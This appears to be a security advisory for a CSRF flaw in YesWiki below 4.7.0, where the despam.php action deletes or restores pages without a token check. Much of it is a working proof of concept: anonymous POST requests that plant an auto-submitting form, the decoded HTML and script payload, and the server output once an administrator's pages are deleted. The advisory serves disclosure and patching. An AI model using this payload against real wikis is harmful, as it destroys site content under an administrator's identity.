Cross-site Request Forgery (CSRF) Affecting yeswiki/yeswiki package, versions <4.7.0

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the despam.php action handler, which processes destructive page-deletion and revision-restore operations submitted via POST without validating a CSRF token. An attacker can plant a wiki page containing an auto-submitting HTML form that, when visited by an authenticated administrator, causes the administrator's browser to issue a forged POST request to the {{despam}} action, deleting or restoring arbitrary wiki pages under the administrator's session.

Note: This is only exploitable when the wiki is running with default configuration (default_write_acl='*', allow_raw_html=true) and an administrator visits an attacker-controlled wiki page.

Two anonymous HTTP requests plant the payload on a default YesWiki instance; a third request is issued by the victim's browser when an administrator views the trap page.

Setup: a stock YesWiki v4.6.8 installation with default configuration (default_write_acl='*', allow_raw_html=true), an active administrator account, and network reachability to the wiki.

Step 1: create the {{despam}} target page as an anonymous visitor.

POST /?wiki=DespamTrigger/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Bdespam%7D%7D&submit=1

Step 2: create the trap page carrying the auto-submitting form as an anonymous visitor.

POST /?wiki=DespamTrap/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%22%22%3Cform+action%3D%22%3F%3Dwiki%3DDespamTrigger%22+method%3D%22POST%22+id%3D%22f%22%3E%3Cinput+type%3D%22hidden%22+name%3D%22clean%22+value%3D%22yes%22%3E%3Cinput+type%3D%22hidden%22+name%3D%22suppr%5B%5D%22+value%3D%22PagePrincipale%22%3E%3Cinput+type%3D%22hidden%22+name%3D%22suppr%5B%5D%22+value%3D%22GererConfig%22%3E%3C%2Fform%3E%3Cscript%3Edocument.getElementById(%27f%27).submit()%3C%2Fscript%3E%22%22&submit=1

The decoded page body is:

""<form action="?wiki=DespamTrigger" method="POST" id="f"><input type="hidden" name="clean" value="yes"><input type="hidden" name="suppr[]" value="PagePrincipale"><input type="hidden" name="suppr[]" value="GererConfig"></form><script>document.getElementById('f').submit()</script>""

Step 3: an administrator visits DespamTrap (for example, via RecentChanges). The "".."" block is emitted verbatim because allow_raw_html=true; the inline script auto-submits the form to DespamTrigger as a same-site POST carrying the admin session cookie (SameSite=Lax allows same-site POST).

Server response for the auto-submitted request (rendered by the {{despam}} action):

Effacement de : PagePrincipale
Effacement de : GererConfig

Corresponding pages, links, acls, triples, referrers, and tags rows for PagePrincipale and GererConfig are deleted from the database. Loading /?wiki=PagePrincipale afterward returns the "page does not exist" template. LogAdministrativeAction records the deletion under the administrator's username.

Revision restore uses the same technique with rev[]=<row_id> in place of suppr[]; the loop in despam.php restores each referenced row into the current page by copying it back into pages.

Note: The PoC targets a stock YesWiki v4.6.8 installation with default configuration (default_write_acl='*', allow_raw_html=true) and an active administrator account.

• GitHub Advisory